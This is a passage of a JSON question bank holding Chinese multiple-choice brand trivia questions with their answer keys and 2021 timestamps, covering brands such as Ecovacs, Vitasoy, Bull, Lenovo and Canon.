04:37:24","status":"1"},{"questionId":"4901451147","questionIndex":"3","questionStem":"科沃斯成立于哪一年?","options":"[{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8LQ9jnE9ia8jO4H0EZw\",\"optionDesc\":\"1998年\"},{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8L8ebgtWYYt5Un9QNtA\",\"optionDesc\":\"2018年\"},{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8Ll1sa1MQSh1XNjzJmg\",\"optionDesc\":\"2008年\"}]","questionToken":"L80Sx0BWjj8L8_MPn5fneMgLbCzbSDGLWAb7GlVNbpX2phBKatVEhGYfVZjP7Y8jZRSyDhSNTwfqMJ4MohfzK1bchhCLVw","correct":"{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8LQ9jnE9ia8jO4H0EZw\",\"optionDesc\":\"1998年\"}","create_time":"27/1/2021 04:32:56","update_time":"27/1/2021 04:32:56","status":"1"},{"questionId":"4901451148","questionIndex":"5","questionStem":"科沃斯总部位于?","options":"[{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8L2SVN5yQRIUz69c\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8LZCB_20AwoM3Oo4\",\"optionDesc\":\"苏州\"},{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8Ls4B1wIlcDyX6mo\",\"optionDesc\":\"上海\"}]","questionToken":"L80Sx0BWjj8L_PMJn5fneJasnbQm2GJ0jbsimc4sngolrrDjTJuzA9lumO0JIzLEe_ZORrgkY5UN6lMok2-RXEbvoli4SQ","correct":"{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8LZCB_20AwoM3Oo4\",\"optionDesc\":\"苏州\"}","create_time":"27/1/2021 04:39:23","update_time":"27/1/2021 04:39:23","status":"1"},{"questionId":"4901451175","questionIndex":"2","questionStem":"外交官品牌创自于?","options":"[{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8LnFKOo3ieogFLos\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8LZh-BxWGYXMKIj4\",\"optionDesc\":\"台湾\"},{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8L_QxIaiFrNoaEy8\",\"optionDesc\":\"广州\"}]","questionToken":"L80Sx0BWjj8I8fMOn5fnfwWzHrH0F5GoY4gF-4dBEP8Q7E7-yH3xj0oQOBsvenqTWaEI8i-H_cEzUUP8Ga59Fzh_RkKXsA","correct":"{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8LZh-BxWGYXMKIj4\",\"optionDesc\":\"台湾\"}","create_time":"27/1/2021 04:38:35","update_time":"27/1/2021 04:38:35","status":"1"},{"questionId":"4901451176","questionIndex":"1","questionStem":"外交官品牌诞生于哪一年?","options":"[{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LmdSMiVhb08DlsRu\",\"optionDesc\":\"1961\"},{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LwYHVIG5C6KxEQVc\",\"optionDesc\":\"1991\"},{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LcEZoMzQg9VA_-Lk\",\"optionDesc\":\"1971\"}]","questionToken":"L80Sx0BWjj8I8vMNn5fnfzl0AVte80cpVgHspUwOvpo-rJfz62OCJ4c_kMmKqe6ybwsI1-OQ-UgqiSLO0sOM_V9A7l_qcw","correct":"{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LcEZoMzQg9VA_-Lk\",\"optionDesc\":\"1971\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"4901451177","questionIndex":"4","questionStem":"外交官品牌到2021诞生多少周年?","options":"[{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8LnxfRoh6nYd3r-6X\",\"optionDesc\":\"30\"},{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8Ly_B2_0z5KVShjtk\",\"optionDesc\":\"60\"},{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8LdBZZX6-yvmidVsa\",\"optionDesc\":\"50\"}]","questionToken":"L80Sx0BWjj8I8_MIn5fnf5HMEM6IJtWCJj8qLUeU38SvZGPV_fe-kS2syZwJrzD4XmbdNB-xkQbf5y47W6lPkX-IiGaESQ","correct":"{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8LdBZZX6-yvmidVsa\",\"optionDesc\":\"50\"}","create_time":"27/1/2021 04:35:34","update_time":"27/1/2021 04:35:34","status":"1"},{"questionId":"4901451178","questionIndex":"1","questionStem":"维他奶成立多少年了?","options":"[{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8Lj5eeZvPc8zLHKc\",\"optionDesc\":\"60\"},{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8L90_vD1Ds68MC7g\",\"optionDesc\":\"40\"},{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8LcfUChKrXhTJCkw\",\"optionDesc\":\"80\"}]","questionToken":"L80Sx0BWjj8I_PMNn5fneDed_TK-rAG6U7nAHkGdgyK-kqjbt4NNffUHGNua54WrywtxHtJWHAv1PjTYIjqmXjbRPJ-C-g","correct":"{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8LcfUChKrXhTJCkw\",\"optionDesc\":\"80\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"4901451179","questionIndex":"2","questionStem":"维他奶属于什么类型的奶?","options":"[{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8LYf5W8qtolYhWfoWrw\",\"optionDesc\":\"植物蛋白饮料\"},{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8LkVThbtNYg-VBAyrMg\",\"optionDesc\":\"动物奶\"},{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8L5EevwUbZfY-gLA0Yw\",\"optionDesc\":\"固态奶\"}]","questionToken":"L80Sx0BWjj8I_fMOn5fneFunLncrwU4UWaNTaBSspGYG0crYL-4kAKGF-Ooo3EFvgvcuyfLKk0ExVfk6ckgntXL3TPUDlQ","correct":"{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8LYf5W8qtolYhWfoWrw\",\"optionDesc\":\"植物蛋白饮料\"}","create_time":"27/1/2021 04:36:28","update_time":"27/1/2021 04:36:28","status":"1"},{"questionId":"4901451180","questionIndex":"3","questionStem":"维他奶豆奶的主要原料是什么?","options":"[{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8L4fg80RbUoSpPF0\",\"optionDesc\":\"红枣\"},{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8LkDXJABS4c8qdX8\",\"optionDesc\":\"花生\"},{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8LYtsOzTOqSFbwto\",\"optionDesc\":\"大豆\"}]","questionToken":"L80Sx0BWjj8H9PMPn5fnf-nXrPHXnSpaKgdEfoKDkZ0gTM6geVgheLM6Uzi-S58b7KDI8ox-v_rBAq26QOLFn3eHCPDrPg","correct":"{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8LYtsOzTOqSFbwto\",\"optionDesc\":\"大豆\"}","create_time":"27/1/2021 04:41:04","update_time":"27/1/2021 04:41:04","status":"1"},{"questionId":"4901451181","questionIndex":"2","questionStem":"公牛BULL集团总部在哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8LolLgMZZMVZ-hlF-\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8LSObHNn9dCN3rZAQ\",\"optionDesc\":\"浙江\"},{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8L0gxBOjarCf5uSxL\",\"optionDesc\":\"四川\"}]","questionToken":"L80Sx0BWjj8H9fMOn5fnf9k59z6D9modw7Qu9mtUwX3VDyg_6qdJ-RRlbKEZG0Y93p1s-9a_VxxB-J2jJsQ3QnISdj89QQ","correct":"{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8LSObHNn9dCN3rZAQ\",\"optionDesc\":\"浙江\"}","create_time":"27/1/2021 04:48:59","update_time":"27/1/2021 04:48:59","status":"1"},{"questionId":"4901451182","questionIndex":"2","questionStem":"公牛品牌的标志颜色是什么?","options":"[{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8LblMqpDG5ZCyYqz1\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8L4BAyphFahC4NI3R\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8Lli35zYOPlZsxA2A\",\"optionDesc\":\"黄色\"}]","questionToken":"L80Sx0BWjj8H9vMOn5fnf3WvRAgJiN52hiFL8WJqm13-G5CVCLLWNfvoL-YwAdFS-WslGxvpRxiNIoH_Gibj86qe9WukCA","correct":"{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8LblMqpDG5ZCyYqz1\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:50:40","update_time":"27/1/2021 04:50:40","status":"1"},{"questionId":"4901451183","questionIndex":"2","questionStem":"以下哪类产品属于公牛BULL售卖范围?","options":"[{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8LXRCZcy8wdCZCc4J\",\"optionDesc\":\"墙壁开关\"},{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8L6bGYP7F3LAG3HCn\",\"optionDesc\":\"计算机\"},{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8Lp-9iuohiN-psc64\",\"optionDesc\":\"加湿器\"}]","questionToken":"L80Sx0BWjj8H9_MOn5fnfxx1ipkqyHfp3ddF9UpnfYgi_qurZOcJ00cXXt01yYqc1Wp3PbqiuD-9HZbGFfepwuDQY-RMYg","correct":"{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8LXRCZcy8wdCZCc4J\",\"optionDesc\":\"墙壁开关\"}","create_time":"27/1/2021 04:48:42","update_time":"27/1/2021 04:48:42","status":"1"},{"questionId":"4901451184","questionIndex":"3","questionStem":"品胜第一个移动电源为谁研发?","options":"[{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8LoelyPF70uI1yl8\",\"optionDesc\":\"运动员\"},{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8L7pUS0vFaWlfrZE\",\"optionDesc\":\"艺术家\"},{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8LQpr28pP37LnI9Y\",\"optionDesc\":\"探险队\"}]","questionToken":"L80Sx0BWjj8H8PMPn5fnf2ibQCUCMMUCBI7g_v8Ut_SXBGgj1wGmpX7a2wH4Tjg29YEFtsTdneCzEc9si6IpA9z3Hg9zaA","correct":"{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8LQpr28pP37LnI9Y\",\"optionDesc\":\"探险队\"}","create_time":"27/1/2021 04:39:20","update_time":"27/1/2021 04:39:20","status":"1"},{"questionId":"4901451185","questionIndex":"4","questionStem":"品胜是不是CBA的赞助商?","options":"[{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8LedSUjhkuBe8UPvs\",\"optionDesc\":\"是\"},{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8L-Oq1M-tjOyIhJa6\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8LkQbrpprnlc4YBEF\",\"optionDesc\":\"不是\"}]","questionToken":"L80Sx0BWjj8H8fMIn5fnf_AQA8Xy8LTfQ3cktDhmtRYllr5CSwZFZ3rNiM0vjeaBNn7WotgoVtzh26dXGZVP8p5HLkmIPw","correct":"{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8LedSUjhkuBe8UPvs\",\"optionDesc\":\"是\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"4901451186","questionIndex":"4","questionStem":"品胜的LOGO是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8L12OT3c0hP7Freun\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8LTd1tgfbx5M_G83t\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8LgC0F9EeoYIXhy3d\",\"optionDesc\":\"红色\"}]","questionToken":"L80Sx0BWjj8H8vMIn5fneFA67XzFD1r-cHqNUjqF7iMSEOGQ020ciWlpWH4Of3CkxdMl_FTyAK-guInYWXnuUPn95NDw_g","correct":"{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8LTd1tgfbx5M_G83t\",\"optionDesc\":\"黄色\"}","create_time":"27/1/2021 04:38:25","update_time":"27/1/2021 04:38:25","status":"1"},{"questionId":"4901451187","questionIndex":"2","questionStem":"金海马是在什么时候成立的?","options":"[{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8LwzJ3b3t62UFEw\",\"optionDesc\":\"成立于1992年\"},{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8LW_yPHGjndfh0g\",\"optionDesc\":\"成立于1990年\"},{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8Lgn8d1WHAwiTjA\",\"optionDesc\":\"成立于1991年\"}]","questionToken":"L80Sx0BWjj8H8_MOn5fnf78l5VjjkUz_daeTcdEjlM4JUJq6y82Vv4Sn5Mj4ANEL4rGXErMe9v0bTZBwAhbCkRICeS56hg","correct":"{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8LW_yPHGjndfh0g\",\"optionDesc\":\"成立于1990年\"}","create_time":"27/1/2021 04:41:16","update_time":"27/1/2021 04:41:16","status":"1"},{"questionId":"4901451188","questionIndex":"3","questionStem":"金海马主要经营什么类目?","options":"[{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8L-2d3F0Ka6m8wtc4\",\"optionDesc\":\"服装\"},{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8LVELLgClr0K-m773\",\"optionDesc\":\"家具家居\"},{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8Li5HMIU2UZXDG0Ee\",\"optionDesc\":\"生鲜\"}]","questionToken":"L80Sx0BWjj8H_PMPn5fneEloJCC51GbJRQXdpGzRmetk1TTyASzlvqr4HtR6KwICyMGPVgYKv0JvSJw2KPyFNgDOS0cdGQ","correct":"{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8LVELLgClr0K-m773\",\"optionDesc\":\"家具家居\"}","create_time":"27/1/2021 04:41:49","update_time":"27/1/2021 04:41:49","status":"1"},{"questionId":"4901451189","questionIndex":"1","questionStem":"港荣工厂总部在哪里啊?","options":"[{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8LxU-CJ8W0BTXyGI\",\"optionDesc\":\"湖北武汉\"},{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8Lob1TWXRi9NrOaQ\",\"optionDesc\":\"四川成都\"},{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8LcrW91IUvDf4P6k\",\"optionDesc\":\"广东揭阳\"}]","questionToken":"L80Sx0BWjj8H_fMNn5fneLt_DsI_UM2y58qWKUBp_PAyktaPFNCpaJK3ecqrLWr3SHY7v3FNNJ6jghMI9-1smXGTMpqgmQ","correct":"{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8LcrW91IUvDf4P6k\",\"optionDesc\":\"广东揭阳\"}","create_time":"27/1/2021 04:36:58","update_time":"27/1/2021 04:36:58","status":"1"},{"questionId":"4901451190","questionIndex":"1","questionStem":"港荣什么时候成立的?","options":"[{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8L3hnZCq6AREgz6It\",\"optionDesc\":\"1991年\"},{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8LYa5MxCf7MotCOPJ\",\"optionDesc\":\"1993年\"},{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8LsbzM6KNm-sEx2bT\",\"optionDesc\":\"1992年\"}]","questionToken":"L80Sx0BWjj8G9PMNn5fneEB1koQi6rVNfgRlW5bOCy-CIBi4sn4hp0GnA9a4dL_d-F0XJ8AZGtgTTtKo-_jGjo1TqsDSqQ","correct":"{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8LYa5MxCf7MotCOPJ\",\"optionDesc\":\"1993年\"}","create_time":"27/1/2021 04:41:46","update_time":"27/1/2021 04:41:46","status":"1"},{"questionId":"4901451191","questionIndex":"2","questionStem":"小度在哪一年春晚闪亮登场?","options":"[{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LVx7Ym8Okj5RmmtLyA\",\"optionDesc\":\"2019\"},{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LzTHGrFwIYvukFoQbA\",\"optionDesc\":\"2018\"},{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LhhLzit_ZwtdcQzb6A\",\"optionDesc\":\"2008\"}]","questionToken":"L80Sx0BWjj8G9fMOn5fnf99nF746mRL69JLD2l5wSiD5oK8lO1Vfx035YgYAga5xyrxYac6t185O6UrI5XhUQa7yN_soRA","correct":"{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LVx7Ym8Okj5RmmtLyA\",\"optionDesc\":\"2019\"}","create_time":"27/1/2021 04:26:02","update_time":"27/1/2021 04:26:02","status":"1"},{"questionId":"4901451192","questionIndex":"5","questionStem":"小度智能耳机支持哪种语言同声翻译?","options":"[{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8Lugd714AJaHSyvK9uw\",\"optionDesc\":\"中日\"},{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8L7F9sNAHmkfwhxJ5rg\",\"optionDesc\":\"中法\"},{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8LbGwmwkm4PCm7FAuNQ\",\"optionDesc\":\"中英\"}]","questionToken":"L80Sx0BWjj8G9vMJn5fnf8ppZjBE22qm533YgPlOMhBoMcPG3NmUNUY91_tJzGMuehqbRkit0cZYiNnszuM5vtqQc1JX8Q","correct":"{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8LbGwmwkm4PCm7FAuNQ\",\"optionDesc\":\"中英\"}","create_time":"27/1/2021 04:35:47","update_time":"27/1/2021 04:35:47","status":"1"},{"questionId":"4901451193","questionIndex":"3","questionStem":"小度X8是哪一个综艺的明星爆款?","options":"[{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LqploV3_36s9StgRLg\",\"optionDesc\":\"向往的生活3\"},{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LzEsswLhtgOxvCqV4w\",\"optionDesc\":\"亲爱的客栈3\"},{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LVEhyBPSehvAADS0Xw\",\"optionDesc\":\"向往的生活4\"}]","questionToken":"L80Sx0BWjj8G9_MPn5fnfz9LX2wfDFML1YyYnbqyL4mgDv0bDI41TyJp89ccxkAmhO8Q4WjvV3Nymy0drAgBUFbpBV1OmA","correct":"{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LVEhyBPSehvAADS0Xw\",\"optionDesc\":\"向往的生活4\"}","create_time":"27/1/2021 04:41:06","update_time":"27/1/2021 04:41:06","status":"1"},{"questionId":"4901451194","questionIndex":"1","questionStem":"腾达Wi-Fi6有几款?","options":"[{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8Ls5RXugwxIC-A9jz\",\"optionDesc\":\"3款\"},{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8LTHkeUeP-TXWPKH5\",\"optionDesc\":\"1款\"},{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8L-QfvvYLaOLzhvSy\",\"optionDesc\":\"5款\"}]","questionToken":"L80Sx0BWjj8G8PMNn5fneMPzvnh5AyXiNFpfgr4WQw6rtIXXMMb6UQu1C04fE8l5IqKTbh3N-XLDXdkRP7cRNlPsv94qyw","correct":"{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8LTHkeUeP-TXWPKH5\",\"optionDesc\":\"1款\"}","create_time":"27/1/2021 04:42:51","update_time":"27/1/2021 04:42:51","status":"1"},{"questionId":"4901451195","questionIndex":"5","questionStem":"腾达AX3路由器是什么处理器?","options":"[{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8L2ZtP153rIe_hc81\",\"optionDesc\":\"高通\"},{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8LmZhafM-kBRvWFgJ\",\"optionDesc\":\"博通\"},{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8LdDVe7VZ3D1dsBLw\",\"optionDesc\":\"联发科\"}]","questionToken":"L80Sx0BWjj8G8fMJn5fnf8MuoVP0jgVSyld_1RtcruRLik1u46t_EGtVrsLiBIXXqXzsaPyvqT2ptxTSHpqjh-WihHn77A","correct":"{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8LdDVe7VZ3D1dsBLw\",\"optionDesc\":\"联发科\"}","create_time":"27/1/2021 04:55:08","update_time":"27/1/2021 04:55:08","status":"1"},{"questionId":"4901451196","questionIndex":"4","questionStem":"腾达总部位于哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8LVTT4vkkwCCCFao\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8L4oAR4mysoiamUA\",\"optionDesc\":\"深圳\"},{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8LmtqOzoibzfUKgA\",\"optionDesc\":\"上海\"}]","questionToken":"L80Sx0BWjj8G8vMIn5fnfwQHrRmaAKWrZZvn-VTfTMEVhNrl72CQ-yjt-3pBFN6TfFK0J8bPggAgIEFckvt4EiFMCSOquA","correct":"{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8LVTT4vkkwCCCFao\",\"optionDesc\":\"北京\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"4901451197","questionIndex":"3","questionStem":"佳能的LOGO是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8L4uLO9eQOFd6Agg\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8Lfix-dAfHQWaWkg\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8LtpIxPqUZ0h_m4M\",\"optionDesc\":\"蓝色\"}]","questionToken":"L80Sx0BWjj8G8_MPn5fneO6RVlRMhOUUjokh54_T4KgvhXeSg2hu3crkHDH4SR1iKeNNgFjehB21-q2cYmaKz_-EYHVFMQ","correct":"{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8Lfix-dAfHQWaWkg\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"4901451198","questionIndex":"5","questionStem":"佳能相机适合什么年龄的人使用?","options":"[{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8LRdBY2JeuUZiy7hA\",\"optionDesc\":\"任何年龄段都适用\"},{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8L3JDjmxPNyhTWvWJ\",\"optionDesc\":\"50岁以上\"},{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8LohzDZINRyo96Wyq\",\"optionDesc\":\"20岁以下\"}]","questionToken":"L80Sx0BWjj8G_PMJn5fnf9aFhPSoYixWV5sH0PWbIDzjU6gxI-tzpfeh2KIN5cBeFTYv4ysTv6gbOhNS286omy3KKKTxYw","correct":"{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8LRdBY2JeuUZiy7hA\",\"optionDesc\":\"任何年龄段都适用\"}","create_time":"27/1/2021 04:41:09","update_time":"27/1/2021 04:41:09","status":"1"},{"questionId":"4901451199","questionIndex":"2","questionStem":"佳能成立时间是哪年?","options":"[{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8Ldx8yDSTih7hY_O0PA\",\"optionDesc\":\"1937年\"},{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8LmVcHbg-Vh84d6t2sQ\",\"optionDesc\":\"2017年\"},{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8L7aWHw485PsQ7I5uTQ\",\"optionDesc\":\"1957年\"}]","questionToken":"L80Sx0BWjj8G_fMOn5fneAOjtJpTKm0iMRooTX0Miusu3Qz-T6MyosSvALFj2p0IGxAdPXZGixXeVL6hJaPyr6W1vn2C_Q","correct":"{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8Ldx8yDSTih7hY_O0PA\",\"optionDesc\":\"1937年\"}","create_time":"27/1/2021 03:40:07","update_time":"27/1/2021 03:40:07","status":"1"},{"questionId":"4901451200","questionIndex":"3","questionStem":"联想的logo正确使用是那个?","options":"[{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ2jBJtf8Mt7uvtF8A\",\"optionDesc\":\"lenovo\"},{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ2W5dYWW1WmPPsDXB\",\"optionDesc\":\"lenovo联想\"},{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ281S1qOG1fOKizYw\",\"optionDesc\":\"联想\"}]","questionToken":"L80Sx0BWjjwcI4hQJ7iLjJYfWH_KnHrMGMuWFKiF_JGHyrijm6r8cy7KwxKJR8LS1XIsgmuJ21zVGrM9uu3yrBYn1Wm4xA","correct":"{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ2W5dYWW1WmPPsDXB\",\"optionDesc\":\"lenovo联想\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 04:42:49","status":"1"},{"questionId":"4901451201","questionIndex":"4","questionStem":"联想成立于那年?","options":"[{\"optionId\":\"L80Sx0BWjjwcIogANPCQ2bRJxBHcVJNOLH9y\",\"optionDesc\":\"1984年\"},{\"optionId\":\"L80Sx0BWjjwcIogANPCQ25MKyxCbxZ7N2-AC\",\"optionDesc\":\"1995年\"},{\"optionId\":\"L80Sx0BWjjwcIogANPCQ2lbBtjs5FLIcY0Bk\",\"optionDesc\":\"2000年\"}]","questionToken":"L80Sx0BWjjwcIohXJ7iLjJtesi-ZCb179kBhPfwfNidYeyc8_tLqlZtq2ZIn4GWh1UzFQrhOAplizZjytBzw0Zq34YvqUg","correct":"{\"optionId\":\"L80Sx0BWjjwcIogANPCQ2bRJxBHcVJNOLH9y\",\"optionDesc\":\"1984年\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"4901451202","questionIndex":"2","questionStem":"联想游戏本系列叫什么名字?","options":"[{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ2kUctgBBKnAB04jH\",\"optionDesc\":\"联想小新\"},{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ270qKM5jgzTbbfjk\",\"optionDesc\":\"联想YOGA\"},{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ2TRXqvrUFJezmrlZ\",\"optionDesc\":\"联想拯救者\"}]","questionToken":"L80Sx0BWjjwcIYhRJ7iLjDSvbYWpE4hMAg6vz3AE3UguYaeGGifoHsr6AZyAT5gQgBEveGx_oLHDKb6TPWdZQ1YTHJ8XKA","correct":"{\"optionId\":\"L80Sx0BWjjwcIYgANPCQ2TRXqvrUFJezmrlZ\",\"optionDesc\":\"联想拯救者\"}","create_time":"27/1/2021 04:48:09","update_time":"27/1/2021 04:48:09","status":"1"},{"questionId":"4901451203","questionIndex":"3","questionStem":"ThinkPad小红点起源于哪年?","options":"[{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ2j_I0Bm6yUbBCyRapA\",\"optionDesc\":\"1921\"},{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ2RNOXRf-hWjR_UyL0w\",\"optionDesc\":\"1992\"},{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ22iAwAT0-ny7NgHs2A\",\"optionDesc\":\"2077\"}]","questionToken":"L80Sx0BWjjwcIIhQJ7iLjPFhMwRTo_hULi0hgxf5Lg60LaJql4dgSb4BDEE_8Q915UjguTu6Xd-p64hFW7vECtmsOJcEzQ","correct":"{\"optionId\":\"L80Sx0BWjjwcIIgANPCQ2RNOXRf-hWjR_UyL0w\",\"optionDesc\":\"1992\"}","create_time":"27/1/2021 04:47:39","update_time":"27/1/2021 04:47:39","status":"1"},{"questionId":"4901451204","questionIndex":"5","questionStem":"最早ThinkPad黑色外观设计灵感来源?","options":"[{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ25FnXWhUVztSipQ\",\"optionDesc\":\"盲盒\"},{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ2fEwqSBX0bqodRY\",\"optionDesc\":\"松花堂便当盒\"},{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ2p1nlnn_--yYrJ4\",\"optionDesc\":\"铅笔盒\"}]","questionToken":"L80Sx0BWjjwcJ4hWJ7iLi04QDZrptR1gBg2JpxX53U87XA0zxG4iYEBKj-HsMJfeWXj7xUr9g_zcqq6R4_XNADw-Ou56WA","correct":"{\"optionId\":\"L80Sx0BWjjwcJ4gANPCQ2fEwqSBX0bqodRY\",\"optionDesc\":\"松花堂便当盒\"}","create_time":"27/1/2021 04:36:50","update_time":"27/1/2021 04:36:50","status":"1"},{"questionId":"4901451205","questionIndex":"3","questionStem":"ThinkPad经典颜色是什么?","options":"[{\"optionId\":\"L80Sx0BWjjwcJogANPCQ2f5SF06-L7WBTCjr_w\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjjwcJogANPCQ2nSPigZ05SK1SxZFbw\",\"optionDesc\":\"白色\"},{\"optionId\":\"L80Sx0BWjjwcJogANPCQ29SUApU8szTRGszm_Q\",\"optionDesc\":\"红色\"}]","questionToken":"L80Sx0BWjjwcJohQJ7iLjGSIY0AjkAwOtQlKtgmmLqinC4R4gY0PIwySUx_DYcje1V-CbroLSrfMVBN4GC-VmpSiD-APmw","correct":"{\"optionId\":\"L80Sx0BWjjwcJogANPCQ2f5SF06-L7WBTCjr_w\",\"optionDesc\":\"黑色\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 